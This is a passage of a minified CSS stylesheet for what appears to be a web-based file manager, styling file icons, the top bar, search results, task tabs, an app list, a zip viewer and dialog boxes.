\9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/appStore.png?ver=3.30',sizingMethod='scale');}.x-error{background-image:url("../../../images/file_icon/icon_others/error.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/error.png?ver=3.30',sizingMethod='scale');}.x-info{background-image:url("../../../images/file_icon/icon_others/info.png");background-image:none \9;filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');-ms-filter:progid:DXImageTransform.Microsoft.AlphaImageLoader(src='static/images/file_icon/icon_others/info.png?ver=3.30',sizingMethod='scale');}body{font-size:12px;padding:0px;margin:0px;font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}textarea,input,button,pre,p,.can_select{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}blockquote{padding:10px 20px;margin:0 0 20px 1em;border-left:10px solid #eee;background:#f6f6f6;}blockquote p{font-size:1em;margin:0px;}input,button,select,textarea{line-height:initial;}a{text-decoration:none;}a:focus{outline:none !important;}.content_box .ace_cjk{width:1em !important;}.content_box .ace_static_highlight{font-size:1.15em;}*,*:before,*:after{-webkit-box-sizing:inherit;-moz-box-sizing:inherit;box-sizing:inherit;}label{font-weight:normal;}pre{border:none;border-radius:0;}.btn-group-sm>.btn{padding:4px 10px;line-height:1em;}.btn{padding:6px 14px;border-radius:3px;}.btn .font-icon{color:#999;}.btn:focus{outline:none;}.btn.btn-default:active,.btn.btn-default.active{border-color:#ADADAD;color:#888;}.btn.btn-left{border-top-right-radius:0;border-bottom-right-radius:0;}.btn.btn-middle{border-radius:0;}.btn.btn-right{border-top-left-radius:0;border-bottom-left-radius:0;}.btn.btn-lg{padding:10px 16px;font-size:18px;line-height:1.33;}.btn.btn-nomal{padding:4px 12px;}.btn.btn-sm{padding:2px 10px;}.btn.btn-xs{padding:1px 5px;font-size:12px;line-height:1.5;}[class^="icon-"],[class*=" icon-"]{background-image:auto;}.dropdown-menu{left:auto;right:0px;border-radius:4px;border:1px solid rgba(0,0,0,0.05);box-shadow:0 4px 30px rgba(0,0,0,0.15);max-height:400px;}.dropdown-menu>li>a:hover,.dropdown-menu .this a,.dropdown-menu>li>a:focus{-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;background-image:none;filter:none;background:#63acff;color:#fff;}.dropdown-menu>li>a{font-weight:inherit;color:#666;}.dropdown-menu>li>a .font-icon{opacity:0.8;}.dropdown-menu:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);border-right:6px solid rgba(0,0,0,0);border-bottom:6px solid #FFF;position:absolute;top:-6px;right:10px;}.dropdown-menu:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);top:-7px;border-bottom:7px solid #CCC;border-bottom-color:rgba(0,0,0,0.2);right:9px;}.dropdown-menu.menu-top:after{content:'';display:inline-block;border-left:6px solid rgba(0,0,0,0);top:inherit;border-right:6px solid rgba(0,0,0,0);border-top:6px solid #FFF;border-bottom:none;position:absolute;bottom:-6px;right:10px;}.dropdown-menu.menu-top:before{content:'';left:auto;right:12px;display:inline-block;position:absolute;border-bottom:none;border-left:7px solid rgba(0,0,0,0);border-right:7px solid rgba(0,0,0,0);bottom:-7px;border-top:7px solid #CCC;border-top-color:rgba(0,0,0,0.2);right:9px;top:inherit;}.disable,.disabled{cursor:not-allowed;pointer-events:none;}h1,h2,h3,h4,h5,.h1,.h2,.h3,.h4,.h5{font-family:"Helvetica Neue", "Helvetica", "Microsoft Yahei", "微软雅黑", "Lantinghei SC", "STXihei", "WenQuanYi Micro Hei", Arial, sans-serif;-webkit-font-smoothing:antialiased;}.can_select,.can_select *{-khtml-user-select:text !important;-webkit-user-select:text !important;-moz-user-select:text !important;-ms-user-select:text !important;-o-user-select:text !important;user-select:text !important;}.can_not_select,.can_not_select *{-khtml-user-select:none !important;-webkit-user-select:none !important;-moz-user-select:none !important;-ms-user-select:none !important;-o-user-select:none !important;user-select:none !important;}.pl-5{padding-left:5px;}.pl-10{padding-left:10px;}.pl-15{padding-left:15px;}.pl-20{padding-left:20px;}.pr-5{padding-right:5px;}.pr-10{padding-right:10px;}.pr-15{padding-right:15px;}.pr-20{padding-right:20px;}.ml-5{margin-left:5px;}.ml-10{margin-left:10px;}.ml-15{margin-left:15px;}.ml-20{margin-left:20px;}.mr-5{margin-right:5px;}.mr-10{margin-right:10px;}.mr-15{margin-right:15px;}.mr-20{margin-right:20px;}.fl{float:left;}.fl-left{float:left;}.fl-right{float:right;}.clear{clear:both;}.FontAwesome{font-family:FontAwesome;font-weight:normal;font-style:normal;text-decoration:inherit;font-size:18px;}.translation-fast{-webkit-transition:all 0.168s ease-in-out;-moz-transition:all 0.168s ease-in-out;-o-transition:all 0.168s ease-in-out;-ms-transition:all 0.168s ease-in-out;transition:all 0.168s ease-in-out;}.translation-nomal{-webkit-transition:all 0.25s ease-in-out;-moz-transition:all 0.25s ease-in-out;-o-transition:all 0.25s ease-in-out;-ms-transition:all 0.25s ease-in-out;transition:all 0.25s ease-in-out;}.translation-slow{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-200{-webkit-transition:all 0.2s ease-in-out;-moz-transition:all 0.2s ease-in-out;-o-transition:all 0.2s ease-in-out;-ms-transition:all 0.2s ease-in-out;transition:all 0.2s ease-in-out;}.translation-300{-webkit-transition:all 0.3s ease-in-out;-moz-transition:all 0.3s ease-in-out;-o-transition:all 0.3s ease-in-out;-ms-transition:all 0.3s ease-in-out;transition:all 0.3s ease-in-out;}.translation-500{-webkit-transition:all 0.5s ease-in-out;-moz-transition:all 0.5s ease-in-out;-o-transition:all 0.5s ease-in-out;-ms-transition:all 0.5s ease-in-out;transition:all 0.5s ease-in-out;}.translation-1000{-webkit-transition:all 1.0s ease-in-out;-moz-transition:all 1.0s ease-in-out;-o-transition:all 1.0s ease-in-out;-ms-transition:all 1.0s ease-in-out;transition:all 1.0s ease-in-out;}.aui_buttons button{font-size:1em;-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.dialogChangeMax,.dialogChangeMax .aui_main{-webkit-transition:all 0.25s;-moz-transition:all 0.25s;-o-transition:all 0.25s;-ms-transition:all 0.25s;transition:all 0.25s;}.aui_title span{position:absolute;width:80%;overflow:hidden;height:30px;word-break:break-all;text-overflow:ellipsis;white-space:nowrap;}.less-error-message{display:none;}input{border:1px solid #ddd;background:#fff;outline:none;}input[type="radio"],input[type="checkbox"]{border:none;background:none;}.topbar{width:100%;height:40px;color:#ddd;z-index:100;top:0;background:#63acff;position:fixed;}.topbar .content{padding:0px;line-height:40px;height:40px;wordbreak:break-all;}.topbar .content i.font-icon{display:inline-block;padding-right:10px;font-size:1.1em;}.topbar .content .topbar_menu{display:block;text-decoration:none;color:#fff;border:1px solid #4a9eff;overflow:hidden;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;padding:0px 1.2em;border-top:none;border-bottom:none;outline:none;float:left;margin-left:-1px;font-size:14px;}.topbar .content .topbar_menu.title{font-size:20px;width:200px;width:202px\0;padding:0;text-align:center;}.topbar .content .topbar_menu.title:hover{background:none;}.topbar .content .title img{max-width:200px;max-height:44px;}.topbar .content .open .topbar_menu,.topbar .content .topbar_menu:hover,.topbar .content .topbar_menu.this{background:#4a9eff;}.topbar .content .menu-desktop:before{content:"\f108";}.topbar .content .menu-explorer:before{content:"\f0ae";}.topbar .content .menu-editor:before{content:"\f044";}.topbar .content .top_left{overflow:hidden;height:40px;width:70%;}.topbar .content .top_right{position:absolute;right:0px;top:0px;margin-right:0px;height:40px;}.topbar .content .top_right .menu_group{height:40px;margin-right:-1px;float:left;position:relative;}.topbar .content .top_right .topbar_menu{display:inline-block;padding:0px 6px;margin-right:1px;}.topbar .content .top_right .topbar_menu i{padding-right:3px;}.topbar .content .top_right .btn{color:#fff;}.topbar .content .top_right ul a{line-height:30px;height:30px;display:block;padding:0px 1.7em;border:none;overflow:hidden;}.topbar .content .top_right ul a:hover,.topbar .content .top_right ul a.this{margin-right:0px;}.topbar .content .top_right ul a.this{background:#63acff;color:#fff;}.topbar .content .top_right ul .font-icon{width:18px;display:inline-block;}.topbar .content .top_right ul.dropdown-menu.topbar_language{width:480px;padding:10px 5px;}.topbar .content .top_right ul.dropdown-menu.topbar_language li{width:115px;float:left;}.topbar .content .top_right ul.dropdown-menu.topbar_language a{padding:0 8px 0 8px;height:26px;line-height:26px;font-size:13px;}.topbar .content .top_right ul.dropdown-menu.topbar_language i.flag{padding-right:0px;background-color:#eee;position:relative;top:1px;}.topbar .content .share_title{text-align:center;color:#fff;float:left;margin-left:8px;margin-right:7px;}.topbar .content .share_title_info{color:#fff;font-size:1.25em;background:#eee;background:rgba(0,0,0,0.2);border-radius:4px;padding:6px;}.topbar .content .share_info{color:#fff;float:left;font-size:1em;}.topbar .content .share_info .time{padding-left:5px;color:#fff;padding-right:8px;}.topbar .content .top_right div.share_info_user{margin-right:10px;color:#fff;position:relative;}.topbar .content .top_right div.share_info_user .btn_download,.topbar .content .top_right div.share_info_user .btn.button_my_share{padding:4px 20px;margin-left:5px;}.topbar .content .top_right div.share_info_user .dropdown-toggle{height:16px;}.common_footer{position:fixed;bottom:0px;background:#f8f8f8;color:#999;font-size:1em;width:100%;text-align:center;border-top:1px solid #e8e8e8;height:31px;line-height:32px;overflow:hidden;}.common_footer .copyright_bottom{cursor:pointer;font-size:1.25em;color:#aaa;text-decoration:none;}.common_footer .copyright_bottom:hover{color:#f60;border-bottom:none;}.do_search{color:#888;}.do_search .search_header{padding:10px;padding-bottom:0px;}.do_search .search_header input[type='checkbox']{padding-left:0px;}.do_search .search_header label{font-size:1em;}.do_search .search_header .btn-right{margin:-5px 0 0 -2px;height:25px;width:30px;padding:0;height:28px \9\0;}.do_search .search_header .s_br{margin-bottom:8px;line-height:25px;}.do_search .search_header #search_value,.do_search .search_header #search_path,.do_search .search_header #search_ext{height:23px;height:27px \0;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;width:125px;padding-left:10px;padding-right:10px;margin-left:5px;}.do_search .search_header #search_value:focus,.do_search .search_header #search_path:focus,.do_search .search_header #search_ext:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.do_search .search_header #search_value{width:190px;margin:0;padding:2px 5px 0px 5px;padding-top:1px \0;}.do_search #search_is_case{margin-left:10px;}.do_search .search_desc{height:30px;line-height:30px;text-align:center;font-size:13px;margin:0px 10px;border:1px solid #ddd;color:#3196e6;background-image:-webkit-linear-gradient(top,#fff,#def);border-top-left-radius:3px;border-top-right-radius:3px;}.do_search .search_result{overflow-y:auto;overflow-x:hidden;position:absolute;top:137px;bottom:0px;right:0px;left:0px;margin:10px;border:1px solid #ddd;border-top:none;border-bottom-left-radius:3px;border-bottom-right-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-items{list-style:none;margin:0px;padding:10px 0;font-size:13px;}.do_search .search_result .file-item .file-info{height:25px;line-height:25px;cursor:default;padding-left:10px;font-size:13px;color:#444;position:relative;word-wrap:break-word;word-break:break-all;overflow:hidden;}.do_search .search_result .file-item .file-info:hover{background:#eee;}.do_search .search_result .file-item .file-info .title{height:25px;color:#666;padding-left:5px;}.do_search .search_result .file-item .file-info .title:hover{border-bottom:1px solid #1387bb;cursor:pointer;color:#1387bb;}.do_search .search_result .file-item .file-info .switch{width:20px;height:20px;display:inline-block;text-align:center;color:#aaa;font-size:14px;}.do_search .search_result .file-item .file-info .file-icon{display:inline-block;width:18px;height:18px;}.do_search .search_result .file-item .file-info .file-icon img{width:100%;height:100%;}.do_search .search_result .file-item .file-info .result-num{margin:0 5px;border-radius:10px;background-color:#dfeaf3;color:#666;font-size:12px;padding:3px 8px;font-weight:bold;}.do_search .search_result .file-item .file-info .goto{position:absolute;right:0;top:0;width:30px;height:25px;line-height:25px;text-align:center;color:#bbb;background:#fff;cursor:pointer;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.do_search .search_result .file-item .file-info .goto:hover{background:#fbbc00;color:#fff;}.do_search .search_result .file-item .file-info:hover .goto{display:block;}.do_search .search_result .file-item .keyword{background:#ffef65;color:#000;}.do_search .search_result .file-item .result-item{list-style:none;margin:0px;padding:0px;}.do_search .search_result .file-item .result-item .result-info{height:25px;margin:0px;padding:0;line-height:25px;padding:0 15px;cursor:default;overflow:hidden;white-space:nowrap;text-overflow:ellipsis;}.do_search .search_result .file-item .result-item .result-info:hover{background:#eee;}.do_search .search_result .file-item .result-item .result-info.this,.do_search .search_result .file-item .result-item .result-info.this:hover{background:#63acff;}.do_search .search_result .file-item .result-item .result-info.this .line,.do_search .search_result .file-item .result-item .result-info.this .search-info,.do_search .search_result .file-item .result-item .result-info.this:hover .line,.do_search .search_result .file-item .result-item .result-info.this:hover .search-info{color:#fff;}.do_search .search_result .file-item .result-item .line{display:inline-block;width:32px;margin-left:7px;padding-right:4px;text-align:right;font-weight:800;color:#aaa;}.do_search .search_result .file-item .result-item .search-info{font-family:Menlo, Consolas, source-code-pro, Monaco, 'Liberation Mono', 'Ubuntu Mono', Courier, 'Helvetica Neue', 'Microsoft Yahei', '微软雅黑', 'Lantinghei SC', STXihei, WenQuanYi, sans-serif;color:#444;}.do_search .search_result .file-item.open .file-info .switch .icon-caret-right:before{content:"\f0d7";}#maskViewContent .upload-tips{text-align:center;}#maskViewContent .upload-tips .icon-cloud{opacity:0.8;}#maskViewContent .upload-tips .icon-cloud.cloud2{font-size:180px;}#maskViewContent .upload-tips .icon-cloud.cloud1,#maskViewContent .upload-tips .icon-cloud.cloud3{position:absolute;opacity:0.6;}#maskViewContent .upload-tips .icon-cloud.cloud1{margin-left:-60px;margin-top:110px;-webkit-animation:moveLeftLoop 8.0s infinite ease-in-out;animation:moveLeftLoop 8.0s infinite ease-in-out;}#maskViewContent .upload-tips .icon-cloud.cloud3{margin-left:-50px;margin-top:60px;font-size:60px;animation-delay:4s;-webkit-animation-delay:4s;-webkit-animation:moveLeftLoop 10.0s infinite ease-in-out;animation:moveLeftLoop 10.0s infinite ease-in-out;}#maskViewContent .upload-tips .cloud-moveup{height:70px;}#maskViewContent .upload-tips .cloud-moveup i{position:absolute;margin-left:-23px;margin-top:-16px;}.task_tab{position:fixed;bottom:1px;left:0;width:100%;height:30px;padding-left:50px;z-index:100;background:rgba(0,0,0,0.1);border-top:1px solid rgba(0,0,0,0.15);color:#444;}.task_tab .tabs{height:100%;margin-right:20px;margin-right:60px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}.task_tab .tabs .tab{float:left;height:29px;margin-right:2px;white-space:nowrap;text-overflow:ellipsis;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0px 0px 0px #fff, 0px 0px 4px #000, 0px 0px 5px #000;color:#fff;border-radius:3px;cursor:default;overflow:hidden;font-size:1em;box-shadow:0 0 6px #666;padding-left:4px;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.3)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.3),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.3),rgba(255,255,255,0));-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;}.task_tab .tabs .tab.hover{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.5)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.5),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.5),rgba(255,255,255,0));}.task_tab .tabs .tab.this{filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.7)', endColorstr='rgba(255,255,255,0)');background:rgba(255,255,255,0);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-o-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));background-image:linear-gradient(top,rgba(255,255,255,0.7),rgba(255,255,255,0));-pie-background:linear-gradient(to top,rgba(255,255,255,0.7),rgba(255,255,255,0));box-shadow:0 0 6px #000;}.tasktab-dragging{position:fixed;position:absolute;z-index:99999;height:30px;width:110px;border:1px solid rgba(255,255,255,0.4);line-height:30px;text-shadow:0 0 3px #000;box-shadow:0 0 6px #000;padding-left:4px;white-space:nowrap;text-overflow:ellipsis;border-radius:3px;cursor:default;color:#fff;overflow:hidden;font-size:1em;word-break:break-all;filter:progid:DXImageTransform.Microsoft.gradient(startColorstr='rgba(255,255,255,0.8)', endColorstr='rgba(255,255,255,0.2)');background:rgba(255,255,255,0.2);background-image:-webkit-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-moz-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-o-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:-ms-linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));background-image:linear-gradient(top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));-pie-background:linear-gradient(to top,rgba(255,255,255,0.8),rgba(255,255,255,0.2));}.init_loading{position:fixed;left:50%;margin-left:-80px;top:40%;font-size:1.25em;z-index:999999;width:auto;}.init_loading div{padding:20px;background:#000;opacity:0.6;filter:alpha(opacity=60);margin:0 auto;color:#FFF;border-radius:6px;text-align:center;line-height:30px;}.init_loading img{border-radius:10px;}.space_info_bar{width:110px;}.space_info_bar .space_process{width:110px;height:6px;overflow:hidden;background-color:#ddd;margin:0px;border-radius:5px;}.space_info_bar .space_process .space_process_use{width:20%;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;height:100%;background-color:#428bca;border-radius:5px;}.space_info_bar .space_process .space_process_use.warning{background-color:#f00 !important;}.appbox{overflow:hidden;padding:0px 10px 0 0;}.appbox .appline{width:100%;margin-bottom:10px;line-height:20px;overflow:hidden;}.appbox .appline .left{float:left;width:80px;text-align:right;padding-right:14px;}.appbox .appline .right{float:left;}.appbox .appline input{margin-right:5px;}.appbox .appline label{display:inline-block;margin-left:-10px;padding:0 5px;}.appbox .appline input[type=text],.appbox .appline textarea{width:275px;padding:0px 5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:28px;border-radius:3px;}.appbox .appline input[type=text]:focus,.appbox .appline textarea:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}.appbox .appline input[type=text].w30{width:50px;}.appbox .appline input[type=text].w20{width:30px;}.appbox .appline textarea{height:100px;}.appbox .appline.icon input{width:232px;}.appbox .appline.icon a{padding:2px 4px;top:0px;border:1px solid #CCC;}.appbox .appline.icon .open{margin-left:-12px;cursor:pointer;margin-top:-4px;font-size:14px;padding:3px 1em 4px 1em;}.appbox .appline.icon a img{width:20px;height:20px;}#body div.app_list{position:absolute;left:150px;width:initial;margin:15px 0 20px 15px;right:20px;padding-bottom:60px;}#body div.app_list .app-list{margin-top:10px;border-top:1px solid #ddd;}#body div.app_list .app-list .app_li{float:left;width:150px;height:150px;border:1px solid #e6e6e6;margin:20px 20px 0 0;list-style:none;border-radius:3px;box-shadow:0 2px 7px #f0f0f0;}#body div.app_list .app-list .app_li:hover{box-shadow:0 5px 20px #ddd;}#body div.app_list .app-list .app_li a.button{margin:0;}#body div.app_list .app-list .app_li a.icon{float:left;width:100%;background:#eee;text-align:center;padding:8px 0;}#body div.app_list .app-list .app_li a.icon img{width:64px;height:64px;border-radius:10px;box-shadow:0 0 10px #999;}#body div.app_list .app-list .app_li p{width:100%;text-align:center;margin:0;color:#666;height:25px;overflow:hidden;}#body div.app_list .app-list .app_li p span{display:block;word-break:break-all;}#body div.app_list .app-list .app_li p span.title{font-size:1.15em;line-height:33px;height:33px;}#body div.app_list .app-list .app_li p span.info{display:none;}#body div.app_list .app-list .app_li .btn-group{margin:8px auto;text-align:center;display:block;}#body div.app_list .app-list .app_li .btn-group .btn-default{width:70px;}#body div.app_list .app-list .app_li .btn-group>.btn{float:none;}#body div.app_list .app-list .app_li .btn-group .btn:first-child:not(:last-child):not(.dropdown-toggle){height:17px;width:70px;height:18px\0;}#body div.app_list .app-list .app_li .btn-group .btn+.dropdown-toggle{height:17px;color:#aaa;height:18px\0;width:8px;width:25px;padding-left:0;padding-right:0;}#body div.app_list .app-list .app_li .btn-group .dropdown-menu{min-width:100px;right:15px;}.zipViewDialog .aui_content{min-width:400px;position:relative;}.zipViewDialog .zipViewContent{position:absolute;left:0;right:0;top:35px;bottom:0;margin:0 10px 10px 10px;border-radius:3px;border:1px solid #eee;margin:0px;min-width:400px;border:none;top:0px;}.zipViewDialog .zipViewContent #folderListZip{padding:5px;}.zipViewDialog .zipViewContent .header_title{height:23px;line-height:23px;border-bottom:1px solid #ddd;border-top:1px solid #ddd;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;}.zipViewDialog .zipViewContent .header_title .item{float:left;}.zipViewDialog .zipViewContent .header_title .item span{display:block;border-right:1px solid #ddd;padding-left:10px;cursor:default;}.zipViewDialog .zipViewContent .header_title .name{width:60%;}.zipViewDialog .zipViewContent .header_title .size{width:10%;}.zipViewDialog .zipViewContent .header_title .mtime{width:30%;}.zipViewDialog .zipViewContent .header_title .item.mtime span{border-right:none;}.zipViewDialog .zipViewContent .ztree{padding:0px;position:absolute;top:25px;left:0;right:0px;bottom:26px;overflow:auto;}.zipViewDialog .zipViewContent .ztree li,.zipViewDialog .zipViewContent .ztree li ul{width:100%;}.zipViewDialog .zipViewContent .ztree li a{position:relative;padding-left:0;color:#333;text-shadow:none;}.zipViewDialog .zipViewContent .ztree li a:hover{transition:none;}.zipViewDialog .zipViewContent .ztree li a.odd{background:#f1f7ff;}.zipViewDialog .zipViewContent .ztree li a:hover,.zipViewDialog .zipViewContent .ztree li a.odd:hover{background:#eee;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode,.zipViewDialog .zipViewContent .ztree li a.odd.curSelectedNode{background:#63acff;color:#fff;}.zipViewDialog .zipViewContent .ztree li a .time{float:right;width:27%;padding-left:3%;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .size{float:right;width:10%;text-align:right;opacity:0.8;font-size:12px;}.zipViewDialog .zipViewContent .ztree li a .menu_more{display:none;position:absolute;right:0px;top:0;text-align:center;width:25px;height:24px;background:#fff;background:rgba(50,50,50,0.1);color:#666;}.zipViewDialog .zipViewContent .ztree li a:hover .menu_more{display:block;}.zipViewDialog .zipViewContent .ztree li a.curSelectedNode .menu_more{display:block;color:#fff;}.zipViewDialog .zipViewContent .bottom{position:absolute;left:0;right:0px;bottom:0;width:100%;text-align:center;height:25px;line-height:25px;font-size:12px;background:#f6f6f6 url("../../../images/common/bg.gif") 0 -30px;border-top:1px solid #eee;}.support_space_not .share_dialog .content_box .content_info{padding:30px 20px 30px 20px;}.support_space_not .system_conennt .right_frame .group_title .group_size{display:none !important;}.support_space_not .size_max_set,.support_space_not .user_setting_more_btn,.support_space_not .user_setting_more{display:none;}.support_space_not .user_list .space,.support_space_not .share_view_info,.support_space_not .user_space_info{display:none;}.support_space_not .frame-main .user_space_info{display:none;}.support_space_not .frame-main .frame-left .group_space_use{display:none;}.support_space_not .frame-main .frame-left #folderList{bottom:57px;}.dropdown-menu.menu-topbar_user{right:6px;}.version_vip{height:26px;line-height:26px;padding:0;opacity:0.7;filter:alpha(opacity=70);padding-left:25px;cursor:pointer;font-size:12px;display:block;color:#eee;background:#999;}.version_vip#version_vip_1{color:#bdeaff;background:#03a9f4;}.version_vip#version_vip_2{color:#ea9df7;background:#9c27b0;}.version_vip#version_vip_3{color:#fff;background:#ffc107;}.version_vip:hover{opacity:0.9;filter:alpha(opacity=90);text-decoration:none;}.version_license{width:250px;height:250px;overflow:hidden;position:absolute;z-index:9999;pointer-events:none;top:30px;left:0px;}.version_license a.line{position:absolute;pointer-events:all;width:300px;height:60px;line-height:60px;left:-70px;top:40px;font-size:20px;background:#ffc107;text-decoration:none;-webkit-transform:rotate(-45deg);-moz-transform:rotate(-45deg);transform:rotate(-45deg);-webkit-transition:all 0.2;-moz-transition:all 0.2;-o-transition:all 0.2;-ms-transition:all 0.2;transition:all 0.2;text-align:center;color:#fff;opacity:0.8;filter:alpha(opacity=80);}.version_license a.line:hover{background:#ff9800;}.path_select_input{width:550px;padding:7px;background:rgba(255,255,255,0.3);border:1px solid rgba(100,100,100,0.3);color:#000;}.copyright_dialog{width:400px !important;}.copyright_dialog,.share_dialog,.check_version_dialog{min-width:400px;}.copyright_dialog.dialog-simple .aui_outer,.share_dialog.dialog-simple .aui_outer,.check_version_dialog.dialog-simple .aui_outer{overflow:inherit;box-shadow:0 0px 60px rgba(0,0,0,0.4);border:1px solid #ccc;border:1px solid rgba(0,0,0,0.2);}.copyright_dialog.dialog-simple .aui_header,.share_dialog.dialog-simple .aui_header,.check_version_dialog.dialog-simple .aui_header{background:transparent;opacity:1.0;filter:alpha(opacity=100);}.copyright_dialog.dialog-simple .aui_nw,.copyright_dialog.dialog-simple .aui_n,.copyright_dialog.dialog-simple .aui_ne,.copyright_dialog.dialog-simple .aui_w,.copyright_dialog.dialog-simple .aui_e,.copyright_dialog.dialog-simple .aui_sw,.copyright_dialog.dialog-simple .aui_s,.copyright_dialog.dialog-simple .aui_se,.share_dialog.dialog-simple .aui_nw,.share_dialog.dialog-simple .aui_n,.share_dialog.dialog-simple .aui_ne,.share_dialog.dialog-simple .aui_w,.share_dialog.dialog-simple .aui_e,.share_dialog.dialog-simple .aui_sw,.share_dialog.dialog-simple .aui_s,.share_dialog.dialog-simple .aui_se,.check_version_dialog.dialog-simple .aui_nw,.check_version_dialog.dialog-simple .aui_n,.check_version_dialog.dialog-simple .aui_ne,.check_version_dialog.dialog-simple .aui_w,.check_version_dialog.dialog-simple .aui_e,.check_version_dialog.dialog-simple .aui_sw,.check_version_dialog.dialog-simple .aui_s,.check_version_dialog.dialog-simple .aui_se{height:0px;width:0px;background:none;}.copyright_dialog.dialog-simple .aui_inner,.share_dialog.dialog-simple .aui_inner,.check_version_dialog.dialog-simple .aui_inner{border:none;background:none;}.copyright_dialog.dialog-simple .aui_title,.share_dialog.dialog-simple .aui_title,.check_version_dialog.dialog-simple .aui_title{opacity:0.01;filter:alpha(opacity=1);top:0px;position:absolute;width:100%;height:100%;z-index:5;}.copyright_dialog.dialog-simple .aui_min,.copyright_dialog.dialog-simple .aui_max,.share_dialog.dialog-simple .aui_min,.share_dialog.dialog-simple .aui_max,.check_version_dialog.dialog-simple .aui_min,.check_version_dialog.dialog-simple .aui_max{display:none;}.copyright_dialog.dialog-simple .aui_titleBar,.share_dialog.dialog-simple .aui_titleBar,.check_version_dialog.dialog-simple 